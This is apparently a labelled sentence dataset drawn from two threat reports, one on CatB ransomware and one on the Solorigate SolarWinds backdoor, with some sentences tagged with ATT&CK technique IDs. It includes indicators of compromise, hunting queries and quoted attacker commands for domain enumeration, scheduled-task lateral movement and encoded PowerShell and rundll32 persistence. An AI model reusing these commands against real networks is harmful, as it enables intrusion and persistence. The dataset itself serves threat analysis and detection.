{"sentence": "Data extracted from browsers includes bookmarks, blocklists, crash logs, history, user profile data, autofill data, environmental settings, browser session keys, and more.", "labels": [], "doc_title": "CatB Ransomware  File Locker Sharpens Its Claws to Steal Data with MSDTC Service DLL Hijacking"}
{"sentence": "This later changes to the catB9991 protonmail address mentioned above.", "labels": [], "doc_title": "CatB Ransomware  File Locker Sharpens Its Claws to Steal Data with MSDTC Service DLL Hijacking"}
{"sentence": "This is the only difference with regards to the ransom notes.", "labels": [], "doc_title": "CatB Ransomware  File Locker Sharpens Its Claws to Steal Data with MSDTC Service DLL Hijacking"}
{"sentence": "Other details such as payment-per-day breakdowns and the BTC payment address are identical.", "labels": [], "doc_title": "CatB Ransomware  File Locker Sharpens Its Claws to Steal Data with MSDTC Service DLL Hijacking"}
{"sentence": "Alternate ransom note (fisha001)", "labels": [], "doc_title": "CatB Ransomware  File Locker Sharpens Its Claws to Steal Data with MSDTC Service DLL Hijacking"}
{"sentence": "Notes that are missing the key submission feature suggest that they are artifacts of an earlier ‘test’ version of the ransomware.", "labels": [], "doc_title": "CatB Ransomware  File Locker Sharpens Its Claws to Steal Data with MSDTC Service DLL Hijacking"}
{"sentence": "BTC Payment / Blockchain Status As the time of writing, the BTC address associated with CatB ransomware have zero transactions and a zero balance.", "labels": [], "doc_title": "CatB Ransomware  File Locker Sharpens Its Claws to Steal Data with MSDTC Service DLL Hijacking"}
{"sentence": "BTC Balance for Wallet – bc1qakuel0s4nyge9rxjylsqdxnn9nvyhc2z6k27gz Conclusion CatB joins a long line of ransomware families that embrace semi-novel techniques and atypical behaviors such as appending notes to the head of files.", "labels": [], "doc_title": "CatB Ransomware  File Locker Sharpens Its Claws to Steal Data with MSDTC Service DLL Hijacking"}
{"sentence": "For example, many environments rely solely on the appearance of ransom notes to alert them to the potential of a ransomware outbreak.", "labels": [], "doc_title": "CatB Ransomware  File Locker Sharpens Its Claws to Steal Data with MSDTC Service DLL Hijacking"}
{"sentence": "SentinelOne Singularity fully prevents and protects customers against malicious behaviors associated with CatB Ransomware. Indicators of Compromise SHA1 CatB Samples 1028a0e6cecb8cfc4513abdbe3b9d948cf7a5567 8c11109da1d7b9d3e0e173fd24eb4b7462073174 951e603af10ec366ef0f258bf8d912efedbb5a4b (early version note example) db99fc79a64873bef25998681392ac9be2c1c99c dd3d62a6604f28ebeeec36baa843112df80b0933 Email addresses catB9991[at]protonmail[.]com fishA001[at]protonmail[.]com BTC Wallets bc1qakuel0s4nyge9rxjylsqdxnn9nvyhc2z6k27gz", "labels": [], "doc_title": "CatB Ransomware  File Locker Sharpens Its Claws to Steal Data with MSDTC Service DLL Hijacking"}
{"sentence": "We, along with the security industry and our partners, continue to investigate the extent of the Solorigate attack.", "labels": [], "doc_title": "Analyzing Solorigate the compromised DLL file that started a sophisticated cyberattack and how Microsoft Defender helps protect customers"}
{"sentence": "While investigations are underway, we want to provide the defender community with intelligence to understand the scope, impact, remediation guidance, and product detections and protections we have built in as a result.", "labels": [], "doc_title": "Analyzing Solorigate the compromised DLL file that started a sophisticated cyberattack and how Microsoft Defender helps protect customers"}
{"sentence": "While the full extent of the compromise is still being investigated by the security industry as a whole, in this blog we are sharing insights into the compromised SolarWinds Orion Platform DLL that led to this sophisticated attack.", "labels": [], "doc_title": "Analyzing Solorigate the compromised DLL file that started a sophisticated cyberattack and how Microsoft Defender helps protect customers"}
{"sentence": "The discreet malicious codes inserted into the DLL called a backdoor composed of almost 4,000 lines of code that allowed the threat actor behind the attack to operate unfettered in compromised networks.", "labels": [], "doc_title": "Analyzing Solorigate the compromised DLL file that started a sophisticated cyberattack and how Microsoft Defender helps protect customers"}
{"sentence": "The fact that the compromised file is digitally signed suggests the attackers were able to access the company’s software development or distribution pipeline.", "labels": [], "doc_title": "Analyzing Solorigate the compromised DLL file that started a sophisticated cyberattack and how Microsoft Defender helps protect customers"}
{"sentence": "Evidence suggests that as early as October 2019, these attackers have been testing their ability to insert code by adding empty classes.", "labels": [], "doc_title": "Analyzing Solorigate the compromised DLL file that started a sophisticated cyberattack and how Microsoft Defender helps protect customers"}
{"sentence": "As a result, the DLL containing the malicious code is also digitally signed, which enhances its ability to run privileged actions—and keep a low profile.", "labels": [], "doc_title": "Analyzing Solorigate the compromised DLL file that started a sophisticated cyberattack and how Microsoft Defender helps protect customers"}
{"sentence": "In many of their actions, the attackers took steps to maintain a low profile.", "labels": [], "doc_title": "Analyzing Solorigate the compromised DLL file that started a sophisticated cyberattack and how Microsoft Defender helps protect customers"}
{"sentence": "The class contains all the backdoor capabilities, comprising 13 subclasses and 16 methods, with strings obfuscated to further hide malicious code.", "labels": [], "doc_title": "Analyzing Solorigate the compromised DLL file that started a sophisticated cyberattack and how Microsoft Defender helps protect customers"}
{"sentence": "Once loaded, the backdoor goes through an extensive list of checks to make sure it’s running in an actual enterprise network and not on an analyst’s machines.", "labels": [], "doc_title": "Analyzing Solorigate the compromised DLL file that started a sophisticated cyberattack and how Microsoft Defender helps protect customers"}
{"sentence": "It then contacts a command-and-control (C2) server using a subdomain generated partly from information gathered from the affected device, which means a unique subdomain for each affected domain.", "labels": [], "doc_title": "Analyzing Solorigate the compromised DLL file that started a sophisticated cyberattack and how Microsoft Defender helps protect customers"}
{"sentence": "This is another way the attackers try to evade detection.", "labels": [], "doc_title": "Analyzing Solorigate the compromised DLL file that started a sophisticated cyberattack and how Microsoft Defender helps protect customers"}
{"sentence": "With a lengthy list of functions and capabilities, this backdoor allows hands-on-keyboard attackers to perform a wide range of actions.", "labels": [], "doc_title": "Analyzing Solorigate the compromised DLL file that started a sophisticated cyberattack and how Microsoft Defender helps protect customers"}
{"sentence": "As we’ve seen in past human-operated attacks, once operating inside a network, adversaries can perform reconnaissance on the network, elevate privileges, and move laterally.", "labels": [], "doc_title": "Analyzing Solorigate the compromised DLL file that started a sophisticated cyberattack and how Microsoft Defender helps protect customers"}
{"sentence": "Attackers progressively move across the network until they can achieve their goal, whether that’s cyberespionage or financial gain.", "labels": [], "doc_title": "Analyzing Solorigate the compromised DLL file that started a sophisticated cyberattack and how Microsoft Defender helps protect customers"}
{"sentence": "The challenge in detecting these kinds of attacks means organizations should focus on solutions that can look at different facets of network operations to detect ongoing attacks already inside the network, in addition to strong preventative protection.", "labels": [], "doc_title": "Analyzing Solorigate the compromised DLL file that started a sophisticated cyberattack and how Microsoft Defender helps protect customers"}
{"sentence": "We have previously provided guidance and remediation steps to help ensure that customers are empowered to address this threat.", "labels": [], "doc_title": "Analyzing Solorigate the compromised DLL file that started a sophisticated cyberattack and how Microsoft Defender helps protect customers"}
{"sentence": "In this blog, we’ll share our in-depth analysis of the backdoor’s behavior and functions, and show why it represents a high risk for business environments.", "labels": [], "doc_title": "Analyzing Solorigate the compromised DLL file that started a sophisticated cyberattack and how Microsoft Defender helps protect customers"}
{"sentence": "We’ll also share details of the comprehensive endpoint protection provided by Microsoft Defender for Endpoint.", "labels": [], "doc_title": "Analyzing Solorigate the compromised DLL file that started a sophisticated cyberattack and how Microsoft Defender helps protect customers"}
{"sentence": "In another blog, we discuss protections across the broader Microsoft 365 Defender, which integrates signals from endpoints with other domains – identities, data, cloud – to provide coordinated detection, investigation, and remediation capabilities.", "labels": [], "doc_title": "Analyzing Solorigate the compromised DLL file that started a sophisticated cyberattack and how Microsoft Defender helps protect customers"}
{"sentence": "Read: Using Microsoft 365 Defender to protect against Solorigate.", "labels": [], "doc_title": "Analyzing Solorigate the compromised DLL file that started a sophisticated cyberattack and how Microsoft Defender helps protect customers"}
{"sentence": "The attackers had to find a suitable place in this DLL component to insert their code.", "labels": [], "doc_title": "Analyzing Solorigate the compromised DLL file that started a sophisticated cyberattack and how Microsoft Defender helps protect customers"}
{"sentence": "Ideally, they would choose a place in a method that gets invoked periodically, ensuring both execution and persistence, so that the malicious code is guaranteed to be always up and running.", "labels": [], "doc_title": "Analyzing Solorigate the compromised DLL file that started a sophisticated cyberattack and how Microsoft Defender helps protect customers"}
{"sentence": "Such a suitable location turns out to be a method named RefreshInternal.", "labels": [], "doc_title": "Analyzing Solorigate the compromised DLL file that started a sophisticated cyberattack and how Microsoft Defender helps protect customers"}
{"sentence": "Figure 2: The method infected with the bootstrapper for the backdoor Figure 3: What the original method looks like The modification to this function is very lightweight and could be easily overlooked—all it does is to execute the method OrionImprovementBusinessLayer.", "labels": [], "doc_title": "Analyzing Solorigate the compromised DLL file that started a sophisticated cyberattack and how Microsoft Defender helps protect customers"}
{"sentence": "Initialize within a parallel thread, so that the normal execution flow of RefreshInternal is not altered.", "labels": [], "doc_title": "Analyzing Solorigate the compromised DLL file that started a sophisticated cyberattack and how Microsoft Defender helps protect customers"}
{"sentence": "Why was this method chosen rather than other ones?", "labels": [], "doc_title": "Analyzing Solorigate the compromised DLL file that started a sophisticated cyberattack and how Microsoft Defender helps protect customers"}
{"sentence": "A quick look at the architecture of this DLL shows that RefreshInternal is part of the class SolarWinds.", "labels": [], "doc_title": "Analyzing Solorigate the compromised DLL file that started a sophisticated cyberattack and how Microsoft Defender helps protect customers"}
{"sentence": "Orion.", "labels": [], "doc_title": "Analyzing Solorigate the compromised DLL file that started a sophisticated cyberattack and how Microsoft Defender helps protect customers"}
{"sentence": "BusinessLayer.", "labels": [], "doc_title": "Analyzing Solorigate the compromised DLL file that started a sophisticated cyberattack and how Microsoft Defender helps protect customers"}
{"sentence": "InventoryManager and is invoked by a sequence of methods that can be traced back to the CoreBusinessLayerPlugin class.", "labels": [], "doc_title": "Analyzing Solorigate the compromised DLL file that started a sophisticated cyberattack and how Microsoft Defender helps protect customers"}
{"sentence": "The purpose of this class, which initiates its execution with a method named Start (likely at an early stage when the DLL is loaded), is to initialize various other components and schedule the execution of several tasks.", "labels": [], "doc_title": "Analyzing Solorigate the compromised DLL file that started a sophisticated cyberattack and how Microsoft Defender helps protect customers"}
{"sentence": "Its name blends in with the rest of the legitimate code.", "labels": [], "doc_title": "Analyzing Solorigate the compromised DLL file that started a sophisticated cyberattack and how Microsoft Defender helps protect customers"}
{"sentence": "The threat actors were savvy enough to avoid give-away terminology like “backdoor”, “keylogger”, etc., and instead opted for a more neutral jargon.", "labels": [], "doc_title": "Analyzing Solorigate the compromised DLL file that started a sophisticated cyberattack and how Microsoft Defender helps protect customers"}
{"sentence": "To have some minimal form of obfuscation from prying eyes, the strings in the backdoor are compressed and encoded in Base64, or their hashes are used instead.", "labels": [], "doc_title": "Analyzing Solorigate the compromised DLL file that started a sophisticated cyberattack and how Microsoft Defender helps protect customers"}
{"sentence": "It carries out several checks to verify that it is running in a real victim’s environment: It verifies that the process hosting the malicious DLL is named solarwinds.businesslayerhost.exe", "labels": [], "doc_title": "Analyzing Solorigate the compromised DLL file that started a sophisticated cyberattack and how Microsoft Defender helps protect customers"}
{"sentence": "It checks that the status of certain services belonging to security-related software meets certain conditions (e.g., windefend, sense, cavp)", "labels": ["T1518.001"], "doc_title": "Analyzing Solorigate the compromised DLL file that started a sophisticated cyberattack and how Microsoft Defender helps protect customers"}
{"sentence": "It checks that the host “api.solarwinds.com” resolves to an expected IP address If any of these checks fail, the backdoor terminates.", "labels": [], "doc_title": "Analyzing Solorigate the compromised DLL file that started a sophisticated cyberattack and how Microsoft Defender helps protect customers"}
{"sentence": "All these inspections are carried out to avoid exposing the malicious functionality to unwanted environments, such as test networks or machines belonging to SolarWinds.", "labels": [], "doc_title": "Analyzing Solorigate the compromised DLL file that started a sophisticated cyberattack and how Microsoft Defender helps protect customers"}
{"sentence": "The backdoor After the extensive validation described above, the backdoor enters its main execution stage.", "labels": [], "doc_title": "Analyzing Solorigate the compromised DLL file that started a sophisticated cyberattack and how Microsoft Defender helps protect customers"}
{"sentence": "At its core, the backdoor is a very standard one that receives instructions from the C2 server, executes those instructions, and sends back information.", "labels": [], "doc_title": "Analyzing Solorigate the compromised DLL file that started a sophisticated cyberattack and how Microsoft Defender helps protect customers"}
{"sentence": "The type of commands that can be executed range from manipulating of registry keys, to creating processes, and deleting files, etc., effectively providing the attackers with full access to the device, especially since it’s executing from a trusted, signed binary.", "labels": ["T1070.004", "T1112"], "doc_title": "Analyzing Solorigate the compromised DLL file that started a sophisticated cyberattack and how Microsoft Defender helps protect customers"}
{"sentence": "Here’s an example of a generated domain: Figure 6: Dynamically generated C2 domain The dynamically generated portion of the domain is the interesting part.", "labels": [], "doc_title": "Analyzing Solorigate the compromised DLL file that started a sophisticated cyberattack and how Microsoft Defender helps protect customers"}
{"sentence": "Like the domain, the URI is composed using a set of hardcoded keywords and paths, which are chosen partly at random and partly based on the type of HTTP request that is being sent out.", "labels": ["T1071.001"], "doc_title": "Analyzing Solorigate the compromised DLL file that started a sophisticated cyberattack and how Microsoft Defender helps protect customers"}
{"sentence": "Possible URIs that can be generated follow these formats: pki/crl/<random components>.crl, where <random components> can be numbers and one of the following strings: “-root” “-cert” “-universal_ca” “-ca” “-primary_ca” “-timestamp” “-global” “-secureca” fonts/", "labels": [], "doc_title": "Analyzing Solorigate the compromised DLL file that started a sophisticated cyberattack and how Microsoft Defender helps protect customers"}
{"sentence": "woff/<random components>-webfont<random component>.woff2 or fonts/woff/<random components>.woff2, where the <random components> can be numbers and one or more of the following strings: “Bold” “BoldItalic” “ExtraBold” “ExtraBoldItalic” “Italic”, “Light” “LightItalic” “Regular” “SemiBold” “SemiBoldItalic” “opensans” “noto” “freefont” “SourceCodePro” “SourceSerifPro” “SourceHanSans” “SourceHanSerif” swip/upd/<random components>, where <random components> can be one or more of the following strings: “SolarWinds” “.CortexPlugin” “.Orion” “Wireless” “UI” “Widgets” “NPM” “Apollo” “CloudMonitoring” “Nodes”, “Volumes”, “Interfaces”, “Components” swip/Upload.ashx swip/Events Here are examples of final URLs generated by the backdoor: hxxps://3mu76044hgf7shjf[.]appsync-api[.]eu-west-1[.]avsvmcloud[.]com /swip/upd/Orion[.]Wireless[.]xml hxxps://3mu76044hgf7shjf[.]appsync-api[.]us-east-2[.]avsvmcloud[.]com /pki/crl/492-ca[.]crl hxxps://3mu76044hgf7shjf[.]appsync-api[.]us-east-1[.]avsvmcloud[.]com /fonts/woff/6047-freefont-ExtraBold[.]woff2 Finally, the backdoor composes a JSON document into which it adds the unique user ID described earlier, a session ID, and a set of other non-relevant data fields.", "labels": [], "doc_title": "Analyzing Solorigate the compromised DLL file that started a sophisticated cyberattack and how Microsoft Defender helps protect customers"}
{"sentence": "The C2 might also respond with information about an additional C2 address to report to.", "labels": [], "doc_title": "Analyzing Solorigate the compromised DLL file that started a sophisticated cyberattack and how Microsoft Defender helps protect customers"}
{"sentence": "The backdoor accepts the following commands: Idle Exit SetTime CollectSystemDescription UploadSystemDescription RunTask GetProcessByDescription KillTask GetFileSystemEntries WriteFile FileExists DeleteFile GetFileHash ReadRegistryValue SetRegistryValue DeleteRegistryValue GetRegistrySubKeyAndValueNames Reboot None In a nutshell, these commands allow the attackers to run, stop, and enumerate processes; read, write, and enumerate files and registry keys; collect and upload information about the device; and restart the device, wait, or exit.", "labels": ["T1005", "T1012", "T1057", "T1070.004", "T1112"], "doc_title": "Analyzing Solorigate the compromised DLL file that started a sophisticated cyberattack and how Microsoft Defender helps protect customers"}
{"sentence": "The command CollectSystemDescription retrieves the following information: Local Computer Domain name Administrator Account SID HostName Username OS Version System Directory Device uptime Information about the network interfaces Resulting hands-on-keyboard attack Once backdoor access is obtained, the attackers follow the standard playbook of privilege escalation exploration, credential theft, and lateral movement hunting for high-value accounts and assets.", "labels": ["T1033", "T1082", "T1083"], "doc_title": "Analyzing Solorigate the compromised DLL file that started a sophisticated cyberattack and how Microsoft Defender helps protect customers"}
{"sentence": "To avoid detection, attackers renamed Windows administrative tools like adfind.exe which were then used for domain enumeration.", "labels": ["T1036.005", "T1059.003"], "doc_title": "Analyzing Solorigate the compromised DLL file that started a sophisticated cyberattack and how Microsoft Defender helps protect customers"}
{"sentence": "csrss.exe -h breached.contoso.com -f", "labels": [], "doc_title": "Analyzing Solorigate the compromised DLL file that started a sophisticated cyberattack and how Microsoft Defender helps protect customers"}
{"sentence": "objectcategory=* > .\\Mod\\mod1.log Lateral movement was observed via PowerShell remote task creation, as detailed by FireEye and Volexity: $scheduler = New-Object -ComObject (“Schedule.", "labels": [], "doc_title": "Analyzing Solorigate the compromised DLL file that started a sophisticated cyberattack and how Microsoft Defender helps protect customers"}
{"sentence": "Service”);$scheduler.", "labels": [], "doc_title": "Analyzing Solorigate the compromised DLL file that started a sophisticated cyberattack and how Microsoft Defender helps protect customers"}
{"sentence": "Connect($env:", "labels": [], "doc_title": "Analyzing Solorigate the compromised DLL file that started a sophisticated cyberattack and how Microsoft Defender helps protect customers"}
{"sentence": "COMPUTERNAME);$folder = $scheduler.", "labels": [], "doc_title": "Analyzing Solorigate the compromised DLL file that started a sophisticated cyberattack and how Microsoft Defender helps protect customers"}
{"sentence": "GetFolder(“\\Microsoft\\Windows\\SoftwareProtectionPlatform”);$task = $folder.", "labels": [], "doc_title": "Analyzing Solorigate the compromised DLL file that started a sophisticated cyberattack and how Microsoft Defender helps protect customers"}
{"sentence": "GetTask(“EventCacheManager”);$definition = $task.", "labels": [], "doc_title": "Analyzing Solorigate the compromised DLL file that started a sophisticated cyberattack and how Microsoft Defender helps protect customers"}
{"sentence": "Definition;$definition.", "labels": [], "doc_title": "Analyzing Solorigate the compromised DLL file that started a sophisticated cyberattack and how Microsoft Defender helps protect customers"}
{"sentence": "ExecutionTimeLimit = “PT0S”;$folder.", "labels": [], "doc_title": "Analyzing Solorigate the compromised DLL file that started a sophisticated cyberattack and how Microsoft Defender helps protect customers"}
{"sentence": "Name,$definition,6,”System”,$null,5);echo “Done” C:\\Windows\\system32\\cmd.exe /C schtasks /create /F", "labels": ["T1053.005", "T1059.003"], "doc_title": "Analyzing Solorigate the compromised DLL file that started a sophisticated cyberattack and how Microsoft Defender helps protect customers"}
{"sentence": "/tn “\\Microsoft\\Windows\\SoftwareProtectionPlatform\\EventCacheManager” /tr", "labels": ["T1053.005"], "doc_title": "Analyzing Solorigate the compromised DLL file that started a sophisticated cyberattack and how Microsoft Defender helps protect customers"}
{"sentence": "[machine_name] Persistence is achieved via backdoors deployed via various techniques:", "labels": [], "doc_title": "Analyzing Solorigate the compromised DLL file that started a sophisticated cyberattack and how Microsoft Defender helps protect customers"}
{"sentence": "PowerShell: Powershell -nop -exec bypass -EncodedCommand The –EncodedCommand, once decoded, would resemble: Invoke-WMIMethod win32_process -name create -argumentlist ‘rundll32 c:\\windows\\idmu\\common\\ypprop.dll _XInitImageFuncPtrs’ -ComputerName", "labels": [], "doc_title": "Analyzing Solorigate the compromised DLL file that started a sophisticated cyberattack and how Microsoft Defender helps protect customers"}
{"sentence": "WORKSTATION Rundll32: C:\\Windows\\System32\\rundll32.exe C:\\Windows\\Microsoft.", "labels": [], "doc_title": "Analyzing Solorigate the compromised DLL file that started a sophisticated cyberattack and how Microsoft Defender helps protect customers"}
{"sentence": "file], [various exports] With Rundll32, each compromised device receives a unique binary hash, unique local filesystem path, pseudo-unique export, and unique C2 domain.", "labels": ["T1218.011"], "doc_title": "Analyzing Solorigate the compromised DLL file that started a sophisticated cyberattack and how Microsoft Defender helps protect customers"}
{"sentence": "The Solorigate incident is a grave reminder that these kinds of attacks can achieve the harmful combination of widespread impact and deep consequences for successfully compromised networks.", "labels": [], "doc_title": "Analyzing Solorigate the compromised DLL file that started a sophisticated cyberattack and how Microsoft Defender helps protect customers"}
{"sentence": "We continue to urge customers to: Isolate and investigate devices where these malicious binaries have been detected Identify accounts that have been used on the affected device and consider them compromised Investigate how those endpoints might have been compromised Investigate the timeline of device compromise for indications of lateral movement Hardening networks by reducing attack surfaces and building strong preventative protection are baseline requirements for defending organizations.", "labels": [], "doc_title": "Analyzing Solorigate the compromised DLL file that started a sophisticated cyberattack and how Microsoft Defender helps protect customers"}
{"sentence": "Microsoft Defender for Endpoint has comprehensive detection coverage across the Solorigate attack chain.", "labels": [], "doc_title": "Analyzing Solorigate the compromised DLL file that started a sophisticated cyberattack and how Microsoft Defender helps protect customers"}
{"sentence": "Microsoft 365 Defender provides visibility beyond endpoints by consolidating threat data from across domains – identities, data, cloud apps, as well as endpoints – delivering coordinated defense against this threat.", "labels": [], "doc_title": "Analyzing Solorigate the compromised DLL file that started a sophisticated cyberattack and how Microsoft Defender helps protect customers"}
{"sentence": "This cross-domain visibility allows Microsoft 365 Defender to correlate signals and comprehensively resolve whole attack chains.", "labels": [], "doc_title": "Analyzing Solorigate the compromised DLL file that started a sophisticated cyberattack and how Microsoft Defender helps protect customers"}
{"sentence": "BR!dha Detection for Cobalt Strike fragments in process memory and stops the process: Trojan:Win32/Solorigate.A!dha Behavior:Win32/Solorigate.A!dha Detection for the second-stage payload, a cobalt strike beacon that might connect to infinitysoftwares[.]com.", "labels": [], "doc_title": "Analyzing Solorigate the compromised DLL file that started a sophisticated cyberattack and how Microsoft Defender helps protect customers"}
{"sentence": "Trojan:Win64/Solorigate.", "labels": [], "doc_title": "Analyzing Solorigate the compromised DLL file that started a sophisticated cyberattack and how Microsoft Defender helps protect customers"}
{"sentence": "Alerts with the following titles in the Microsoft Defender Security Center and Microsoft 365 security center can indicate threat activity on your network: SolarWinds Malicious binaries associated with a supply chain attack SolarWinds Compromised binaries associated with a supply chain attack Network traffic to domains associated with a supply chain attack Alerts with the following titles in the Microsoft Defender Security Center and Microsoft 365 security center can indicate the possibility that the threat activity in this report occurred or might occur later.", "labels": [], "doc_title": "Analyzing Solorigate the compromised DLL file that started a sophisticated cyberattack and how Microsoft Defender helps protect customers"}
{"sentence": "These alerts can also be associated with other malicious threats.", "labels": [], "doc_title": "Analyzing Solorigate the compromised DLL file that started a sophisticated cyberattack and how Microsoft Defender helps protect customers"}
{"sentence": "ADFS private key extraction attempt Masquerading Active Directory exploration tool Suspicious mailbox export or access modification Possible attempt to access ADFS key material Suspicious ADFS adapter process created Figure 10.", "labels": [], "doc_title": "Analyzing Solorigate the compromised DLL file that started a sophisticated cyberattack and how Microsoft Defender helps protect customers"}
{"sentence": "Microsoft Defender for Endpoint detections of suspicious LDAP query being launched and attempted ADFS private key extraction Figure 11.", "labels": [], "doc_title": "Analyzing Solorigate the compromised DLL file that started a sophisticated cyberattack and how Microsoft Defender helps protect customers"}
{"sentence": "Careful monitoring by experts is critical in this case because we’re dealing with a highly motivated and highly sophisticated threat actor.", "labels": [], "doc_title": "Analyzing Solorigate the compromised DLL file that started a sophisticated cyberattack and how Microsoft Defender helps protect customers"}
{"sentence": "In the same way that our products integrate with each other to consolidate and correlate signals, security experts and threat researchers across Microsoft are working together to address this advanced attack and ensure our customers are protected.", "labels": [], "doc_title": "Analyzing Solorigate the compromised DLL file that started a sophisticated cyberattack and how Microsoft Defender helps protect customers"}
{"sentence": "Threat analytics reports provide technical information, detection details, and recommended mitigations designed to empower defenders to understand attacks, assess its impact, and review defenses. Figure 12.", "labels": [], "doc_title": "Analyzing Solorigate the compromised DLL file that started a sophisticated cyberattack and how Microsoft Defender helps protect customers"}
{"sentence": "Threat analytics report on the Solorigate attack Advanced hunting Microsoft 365 Defender and Microsoft Defender for Endpoint customers can run advanced hunting queries to hunt for similar TTPs used in this attack.", "labels": [], "doc_title": "Analyzing Solorigate the compromised DLL file that started a sophisticated cyberattack and how Microsoft Defender helps protect customers"}
{"sentence": "Malicious DLLs loaded into memory To locate the presence or distribution of malicious DLLs loaded into memory, run the following query DeviceImageLoadEvents | where SHA1 in (“d130bd75645c2433f88ac03e73395fba172ef676″,”1acf3108bf1e376c8848fbb25dc87424f2c2a39c”,”e257236206e99f5a5c62035c9c59c57206728b28″,”6fdd82b7ca1c1f0ec67c05b36d14c9517065353b”,”2f1a5a7411d015d01aaee4535835400191645023″,”bcb5a4dcbc60d26a5f619518f2cfc1b4bb4e4387″,”16505d0b929d80ad1680f993c02954cfd3772207″,”d8938528d68aabe1e31df485eb3f75c8a925b5d9″,”395da6d4f3c890295f7584132ea73d759bd9d094″,”c8b7f28230ea8fbf441c64fdd3feeba88607069e”,”2841391dfbffa02341333dd34f5298071730366a”,”2546b0e82aecfe987c318c7ad1d00f9fa11cd305″,”e2152737bed988c0939c900037890d1244d9a30e”) or SHA256 in (“ce77d116a074dab7a22a0fd4f2c1ab475f16eec42e1ded3c0b0aa8211fe858d6″,”dab758bf98d9b36fa057a66cd0284737abf89857b73ca89280267ee7caf62f3b”,”eb6fab5a2964c5817fb239a7a5079cabca0a00464fb3e07155f28b0a57a2c0ed”,”ac1b2b89e60707a20e9eb1ca480bc3410ead40643b386d624c5d21b47c02917c”,”019085a76ba7126fff22770d71bd901c325fc68ac55aa743327984e89f4b0134″,”c09040d35630d75dfef0f804f320f8b3d16a481071076918e9b236a321c1ea77″,”0f5d7e6dfdd62c83eb096ba193b5ae394001bac036745495674156ead6557589″,”e0b9eda35f01c1540134aba9195e7e6393286dde3e001fce36fb661cc346b91d”,”20e35055113dac104d2bb02d4e7e33413fae0e5a426e0eea0dfd2c1dce692fd9″,”2b3445e42d64c85a5475bdbc88a50ba8c013febb53ea97119a11604b7595e53d”,”a3efbc07068606ba1c19a7ef21f4de15d15b41ef680832d7bcba485143668f2d”,”92bd1c3d2a11fc4aba2735d9547bd0261560fb20f36a0e7ca2f2d451f1b62690″,”a58d02465e26bdd3a839fd90e4b317eece431d28cab203bbdde569e11247d9e2″,”cc082d21b9e880ceb6c96db1c48a0375aaf06a5f444cb0144b70e01dc69048e6″) Malicious DLLs created in the system or locally To locate the presence or distribution of malicious DLLs created in the system or locally, run the following query DeviceFileEvents | where SHA1 in (“d130bd75645c2433f88ac03e73395fba172ef676″,”1acf3108bf1e376c8848fbb25dc87424f2c2a39c”,”e257236206e99f5a5c62035c9c59c57206728b28″,”6fdd82b7ca1c1f0ec67c05b36d14c9517065353b”,”2f1a5a7411d015d01aaee4535835400191645023″,”bcb5a4dcbc60d26a5f619518f2cfc1b4bb4e4387″,”16505d0b929d80ad1680f993c02954cfd3772207″,”d8938528d68aabe1e31df485eb3f75c8a925b5d9″,”395da6d4f3c890295f7584132ea73d759bd9d094″,”c8b7f28230ea8fbf441c64fdd3feeba88607069e”,”2841391dfbffa02341333dd34f5298071730366a”,”2546b0e82aecfe987c318c7ad1d00f9fa11cd305″,”e2152737bed988c0939c900037890d1244d9a30e”) or SHA256 in (“ce77d116a074dab7a22a0fd4f2c1ab475f16eec42e1ded3c0b0aa8211fe858d6″,”dab758bf98d9b36fa057a66cd0284737abf89857b73ca89280267ee7caf62f3b”,”eb6fab5a2964c5817fb239a7a5079cabca0a00464fb3e07155f28b0a57a2c0ed”,”ac1b2b89e60707a20e9eb1ca480bc3410ead40643b386d624c5d21b47c02917c”,”019085a76ba7126fff22770d71bd901c325fc68ac55aa743327984e89f4b0134″,”c09040d35630d75dfef0f804f320f8b3d16a481071076918e9b236a321c1ea77″,”0f5d7e6dfdd62c83eb096ba193b5ae394001bac036745495674156ead6557589″,”e0b9eda35f01c1540134aba9195e7e6393286dde3e001fce36fb661cc346b91d”,”20e35055113dac104d2bb02d4e7e33413fae0e5a426e0eea0dfd2c1dce692fd9″,”2b3445e42d64c85a5475bdbc88a50ba8c013febb53ea97119a11604b7595e53d”,”a3efbc07068606ba1c19a7ef21f4de15d15b41ef680832d7bcba485143668f2d”,”92bd1c3d2a11fc4aba2735d9547bd0261560fb20f36a0e7ca2f2d451f1b62690″,”a58d02465e26bdd3a839fd90e4b317eece431d28cab203bbdde569e11247d9e2″,”cc082d21b9e880ceb6c96db1c48a0375aaf06a5f444cb0144b70e01dc69048e6″) SolarWinds processes launching PowerShell with Base64 To locate SolarWinds processes spawning suspected Base64-encoded PowerShell commands, run the following query DeviceProcessEvents| where InitiatingProcessFileName =~ “SolarWinds.BusinessLayerHost.exe”| where FileName =~ “powershell.exe”// Extract base64 encoded string, ensure valid base64 length| extend base64_extracted = extract(‘([A-Za-z0-9+/]{20,}[=]{0,3})’, 1, ProcessCommandLine)| extend base64_extracted = substring(base64_extracted, 0, (strlen(base64_extracted) / 4) *", "labels": [], "doc_title": "Analyzing Solorigate the compromised DLL file that started a sophisticated cyberattack and how Microsoft Defender helps protect customers"}
{"sentence": "4)| extend base64_decoded = replace(@’\\0′, ”, make_string(base64_decode_toarray(base64_extracted)))//| where notempty(base64_extracted) and base64_extracted matches regex ‘[A-Z]’ and base64_extracted matches regex ‘[0-9]’ SolarWinds processes launching CMD with echo To locate SolarWinds processes launching CMD with echo, run the following query DeviceProcessEvents| where InitiatingProcessFileName =~ “SolarWinds.BusinessLayerHost.exe”| where FileName == “cmd.exe” and ProcessCommandLine has “echo” C2 communications To locate DNS lookups to a malicious actor’s domain, run the following query DeviceEvents| where ActionType == “DnsQueryResponse” //DNS", "labels": [], "doc_title": "Analyzing Solorigate the compromised DLL file that started a sophisticated cyberattack and how Microsoft Defender helps protect customers"}
{"sentence": "Query Responseand AdditionalFields has “.avsvmcloud” To locate DNS lookups to a malicious actor’s domain, run the following query DeviceNetworkEvents| where RemoteUrl contains ‘avsvmcloud.com’| where InitiatingProcessFileName !", "labels": [], "doc_title": "Analyzing Solorigate the compromised DLL file that started a sophisticated cyberattack and how Microsoft Defender helps protect customers"}
{"sentence": "= “chrome.exe”| where InitiatingProcessFileName !", "labels": [], "doc_title": "Analyzing Solorigate the compromised DLL file that started a sophisticated cyberattack and how Microsoft Defender helps protect customers"}
{"sentence": "= “firefox.exe”| where InitiatingProcessFileName !", "labels": [], "doc_title": "Analyzing Solorigate the compromised DLL file that started a sophisticated cyberattack and how Microsoft Defender helps protect customers"}
